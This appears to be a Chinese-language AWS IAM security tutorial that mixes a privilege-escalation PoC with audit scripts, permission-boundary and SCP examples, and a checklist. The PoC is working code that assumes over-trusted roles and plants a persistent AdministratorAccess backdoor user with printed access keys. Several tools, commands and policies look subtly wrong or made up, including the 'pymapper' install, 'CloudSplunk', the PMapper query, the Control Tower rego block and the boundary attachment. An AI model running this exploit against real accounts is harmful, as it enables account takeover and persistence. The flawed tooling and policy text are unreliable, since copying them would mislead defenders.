一、AWS IAM 架构全景
AWS IAM(Identity and Access Management)是 AWS 安全的核心基石。几乎所有 AWS 安全事件都与 IAM 配置不当有关。
IAM 核心概念
┌─────────────────────────────────────────────────────────┐
│ Users (用户) Roles (角色) Groups (组) │
│ - 人类用户/服务账号 - 无长期凭证 - 批量授权 │
│ - 有 Access Key - STS 临时凭证 - 管理方便 │
├─────────────────────────────────────────────────────────┤
│ Policies (策略) │
│ - JSON 文档: Effect + Action + Resource + Condition │
│ - 附加到 User/Role/Group │
├─────────────────────────────────────────────────────────┤
│ Trust Policy (信任策略) │
│ - 谁能 AssumeRole 这个 Role? │
│ - Principal + Condition │
├─────────────────────────────────────────────────────────┤
│ Permission Boundary (权限边界) │
│ - 绝对上限: 即使给了 Admin,Boundary 也能卡死 │
│ - 在 Org / SCP 级别强制 │
└─────────────────────────────────────────────────────────┘
1.1 IAM 权限传递链
User A (Policy: iam:PassRole, ec2:RunInstances)
│
└──→ AssumeRole 到 Role B (Policy: s3:*)
│
└──→ 如果 Role B 的 TrustPolicy 太宽 → 攻击者也能 AssumeRole 到 Role B
│
└──→ Role B 有 s3:* → 攻击者拿全 S3 权限
这就是 IAM 权限提升的核心路径:PassRole → 过宽的 TrustPolicy → 接管高权限 Role。
二、IAM 权限提升 PoC(真实可复现)
2.1 场景
公司有一个低权限 EC2 Role,但其 TrustPolicy 错写成了 Principal: "*"。攻击者拿到了一个 Lambda 角色的凭证(只有 iam:PassRole),可以直接 AssumeRole 到这个高权限 Role。
2.2 PoC 代码
#!/usr/bin/env python3
"""
AWS IAM Privilege Escalation PoC
路径: Lambda Role (iam:PassRole) → AssumeRole 到 TrustPolicy=* 的 admin role
"""
import boto3, json, time, sys
class AWSIOExploit:
def __init__(self, access_key, secret_key, session_token=None):
self.session = boto3.Session(
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
region_name="us-east-1"
)
self.iam = self.session.client("iam")
self.sts = self.session.client("sts")
def find_vulnerable_roles(self):
"""找出 TrustPolicy 里有 * Principal 的 Role"""
print("[*] 枚举所有 IAM Role...")
paginator = self.iam.get_paginator("list_roles")
vulnerable = []
for page in paginator.paginate():
for role in page["Roles"]:
role_name = role["RoleName"]
trust_doc = role["AssumeRolePolicyDocument"]
principals = trust_doc.get("Statement", [{}])[0].get("Principal", {})
if principals == "*" or (isinstance(principals, dict) and principals.get("AWS") == "*"):
# 进一步看这个 Role 有什么权限
policies = self._get_role_policies(role_name)
print(f" 🔴 Role {role_name}: TrustPolicy=*, Policies={policies}")
vulnerable.append((role_name, policies))
return vulnerable
def _get_role_policies(self, role_name):
attached = self.iam.list_attached_role_policies(RoleName=role_name)
return [p["PolicyArn"] for p in attached["AttachedPolicies"]]
def escalate_to_role(self, role_arn):
"""AssumeRole 到目标 Role"""
print(f"[*] 尝试 AssumeRole → {role_arn}")
try:
resp = self.sts.assume_role(
RoleArn=role_arn,
RoleSessionName="pwned-session"
)
creds = resp["Credentials"]
print(f"[+] 获取凭证成功!")
print(f" AccessKeyId: {creds['AccessKeyId'][:20]}...")
print(f" Expiration: {creds['Expiration']}")
# 用新凭证探索
new_session = boto3.Session(
aws_access_key_id=creds["AccessKeyId"],
aws_secret_access_key=creds["SecretAccessKey"],
aws_session_token=creds["SessionToken"],
region_name="us-east-1"
)
self._exploit(new_session)
return True
except Exception as e:
print(f"[-] AssumeRole 失败: {e}")
return False
def _exploit(self, session):
"""用拿到的高权限做坏事"""
print("[*] 列出所有 S3 Buckets...")
s3 = session.client("s3")
try:
buckets = [b["Name"] for b in s3.list_buckets()["Buckets"]]
print(f" 📦 {len(buckets)} 个 Bucket: {buckets[:5]}...")
except Exception as e:
print(f" [-] {e}")
print("[*] 列出所有 IAM User...")
iam = session.client("iam")
try:
users = [u["UserName"] for u in iam.list_users()["Users"]]
print(f" 👤 {len(users)} 个 User")
# 尝试给攻击者加 Admin 权限
self._create_admin_user(iam)
except Exception as e:
print(f" [-] {e}")
def _create_admin_user(self, iam_client):
"""给自己造一个 Admin 后门用户"""
username = "backdoor-admin-" + str(int(time.time()))
try:
iam_client.create_user(UserName=username)
iam_client.attach_user_policy(
UserName=username,
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
ak = iam_client.create_access_key(UserName=username)["AccessKey"]
print(f" 🔴 后门用户创建成功: {username}")
print(f" AK: {ak['AccessKeyId']}")
print(f" SK: {ak['SecretAccessKey']}")
except Exception as e:
print(f" [-] 创建失败: {e}")
if __name__ == "__main__":
# 攻击者只拿到了一个低权限 Lambda Role 的凭证
exploit = AWSIOExploit(
access_key="AKIAIOSFODNN7EXAMPLE",
secret_key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
)
vulnerable = exploit.find_vulnerable_roles()
for role_name, policies in vulnerable:
if "AdministratorAccess" in str(policies):
exploit.escalate_to_role(f"arn:aws:iam::123456789012:role/{role_name}")
break
三、IAM 权限评估工具链
3.1 AWS IAM Access Analyzer(官方)
# 启用 Access Analyzer(会扫描整个 Organization 的信任边界)
aws accessanalyzer create-analyzer --analyzer-name "org-analyzer" --type ORGANIZATION --region us-east-1
# 等待扫描完成后查看 Findings
aws accessanalyzer list-findings --analyzer-arn arn:aws:access-analyzer:us-east-1:123456789012:analyzer/org-analyzer --region us-east-1 | python3 -m json.tool
# 常见 Findings:
# - "UNKNOWN_ACCESS" : 资源被外部 principal 访问(Bucket 公开、Role 给 *)
# - "NO_ACCESS_GRANTED" : 策略有 Allow 但 Resource 是空的
# - "UNUSED_ACCESS" : 有大权限但长期没用(过度授权)
3.2 PMapper:可视化权限传递
PMapper 可以画出一张图:从这个起点出发,能通过什么路径获得什么权限。
# 安装
pip install pymapper
# 扫描 AWS 账号(需要只读凭证)
pmapper graph create -o account123456789012.html
# 交互式分析
pmapper graph list --profile myaccount
# 输出所有 Principal(User/Role)和它们的权限
# 模拟权限提升路径
pmapper graph query --profile myaccount --query "在 account 123456789012 中,有没有 path 能让 s3-full-access 角色被 assume 到?"
3.3 CloudSplunk:自动化权限审计
# 安装 CloudSplunk
docker run -v ~/.aws:/root/.aws -it nccgroup/csploit
# 或者直接用 ScoutSuite(更常用)
pip install ScoutSuite
scout aws --profile myaccount --services iam,ec2,s3,lambda
# 生成 HTML 报告,标出每个过宽权限
3.4 常见高危 IAM 策略自动检测脚本
#!/usr/bin/env python3
"""
AWS IAM 高危策略审计
"""
import boto3, json, sys
def check_policy(policy_doc, policy_name, scope):
findings = []
statements = policy_doc.get("Statement", [])
if not isinstance(statements, list):
statements = [statements]
for stmt in statements:
effect = stmt.get("Effect", "")
actions = stmt.get("Action", [])
resources = stmt.get("Resource", [])
if not isinstance(actions, list): actions = [actions]
if not isinstance(resources, list): resources = [resources]
if effect != "Allow": continue
# 检测 1: 全权限
if "*" in actions and "*" in resources:
findings.append(("CRITICAL", f"{scope}/{policy_name}: Allow * on * → 相当于 Admin"))
# 检测 2: PassRole + 无 Resource 限制
if "iam:PassRole" in actions and "*" in resources:
findings.append(("CRITICAL", f"{scope}/{policy_name}: iam:PassRole without Resource restriction → 可能权限提升"))
# 检测 3: S3 DeleteBucket
if "s3:DeleteBucket" in actions and "*" in resources:
findings.append(("HIGH", f"{scope}/{policy_name}: s3:DeleteBucket on * → 生产数据风险"))
# 检测 4: iam:CreateAccessKey
if "iam:CreateAccessKey" in actions:
findings.append(("HIGH", f"{scope}/{policy_name}: iam:CreateAccessKey → 可创建长期凭证后门"))
# 检测 5: KMS key 管理
if "kms:CreateKey" in actions and "*" in resources:
findings.append(("MEDIUM", f"{scope}/{policy_name}: kms:CreateKey on * → 可新建 KMS key 绕过加密"))
# 检测 6: EC2 Metadata hop
if "ec2:ModifyInstanceMetadataOptions" in actions:
findings.append(("MEDIUM", f"{scope}/{policy_name}: ec2:ModifyInstanceMetadataOptions → 可禁用 IMDSv2"))
return findings
def audit():
iam = boto3.client("iam")
all_findings = []
# 1. 检查所有 Customer Managed Policy
paginator = iam.get_paginator("list_policies")
for page in paginator.paginate(Scope="Local"):
for policy in page["Policies"]:
detail = iam.get_policy_version(
PolicyArn=policy["Arn"],
VersionId=policy["DefaultVersionId"]
)
doc = json.loads(detail["PolicyVersion"]["Document"])
all_findings.extend(check_policy(doc, policy["PolicyName"], "Policy"))
# 2. 检查所有 Role 的 TrustPolicy
paginator = iam.get_paginator("list_roles")
for page in paginator.paginate():
for role in page["Roles"]:
trust = role["AssumeRolePolicyDocument"]
principals = trust.get("Statement", [{}])[0].get("Principal", {})
if principals == "*":
all_findings.append(("CRITICAL", f"Role TrustPolicy: {role['RoleName']} has Principal:* → 任何人都能 AssumeRole"))
# 3. 检查 SCP (Service Control Policy) - 组织级别
# 需要 organizations 权限
# 输出
for severity, finding in sorted(all_findings):
icon = {"CRITICAL": "🔴", "HIGH": "🟠", "MEDIUM": "🟡"}.get(severity, "⚪")
print(f"{icon} [{severity}] {finding}")
if __name__ == "__main__":
audit()
四、Permissions Boundary:IAM 的"保险箱"
4.1 为什么需要 Permissions Boundary
普通 Policy 是加法(允许什么),Permissions Boundary 是减法(绝对不能超过什么)。
Policy A: Allow s3:GetObject, s3:PutObject
Policy B: Allow iam:*
Permissions Boundary: Deny iam:*
结果: s3:GetObject + s3:PutObject (iam:* 被 Boundary 卡死)
4.2 实战:强制 Permissions Boundary
// org-boundary-policy.json - 强制应用到所有新用户/角色
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["iam:*"],
"Resource": "*"
},
{
"Effect": "Deny",
"Action": [
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:AttachRolePolicy",
"iam:AttachUserPolicy",
"iam:PutRolePolicy",
"iam:PutUserPolicy",
"iam:CreateAccessKey"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalTag/RolePurpose": "security-audit"
}
}
}
]
}
# 用 Terraform + SCP 强制所有新 Role/User 应用 Boundary
resource "aws_iam_role_policy_attachment" "boundary" {
for_each = aws_iam_role.this
role = each.value.name
policy_arn = aws_iam_policy.permission_boundary.arn
}
# SCP 强制
resource "aws_organizations_policy" "enforce_boundary" {
name = "enforce-permission-boundary"
description = "Deny creating principals without PermissionBoundary"
type = "SERVICE_CONTROL_POLICY"
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Effect = "Deny"
Action = [
"iam:CreateRole",
"iam:CreateUser"
]
Resource = "*"
Condition = {
BoolIfExists = {
"iam:PermissionsBoundary": "false"
}
}
}
]
})
}
五、AWS Organization 级别的防护
5.1 SCP (Service Control Policy)
SCP 在组织级别强制,比 IAM Policy 优先级高,可以阻止 Admin 用户做某些事。
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": [
"iam:DeleteAccount",
"iam:RemoveAccountFromOrganization",
"s3:CreateBucket"
],
"Resource": "*"
},
{
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"ec2:ResourceTag/Allowed": "true"
}
}
},
{
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:Region": ["cn-north-1", "cn-northwest-1"]
}
}
}
]
}
5.2 Guardrails(AWS Control Tower)
# Guardrails 自动强制 IAM 最佳实践
# 1. 强制 MFA
control "iam_user_mfa_enabled" {
title = "强制所有 IAM User 启用 MFA"
description = "Control Tower guardrail: us-east-1 region 必须启用 MFA"
logic = file("./iam_mfa_enabled.rego")
tags = ["ram", "mfa"]
}
# 2. 禁止 0.0.0.0/0 安全组
control "ec2_restricted_ssh" {
logic = <<-REGOPACKAGE datadog
deny[msg] {
sg := input.resource_changes[_]
sg.change.after.ip_permissions[_].ipv4_ranges[_] == "0.0.0.0/0"
sg.change.after.ip_permissions[_].from_port == 22
msg := sprintf("Security group %s allows 0.0.0.0/0 on port 22", [sg.change.after.name])
}
REGOPACKAGE
}
六、总结:AWS IAM 安全 Checklist
| 优先级 | 项目 | 工具/命令 |
|---|---|---|
| P0 | Access Analyzer 启用 | aws accessanalyzer create-analyzer |
| P0 | 无 TrustPolicy=* | PMapper 可视化 |
| P0 | 所有 Role/User 有 Permission Boundary | SCP 强制 |
| P0 | 无长期 Access Key | 90 天轮换 + GuardDuty |
| P1 | STS 替代长期凭证 | EC2/Lambda Role + AssumeRole |
| P1 | SCP 基础护栏 | 禁止跨 Region / 禁止公共 S3 |
| P1 | IAM Access Analyzer 持续 Findings | 自动告警 |
| P2 | 定期渗透测试 | PMapper + ScoutSuite |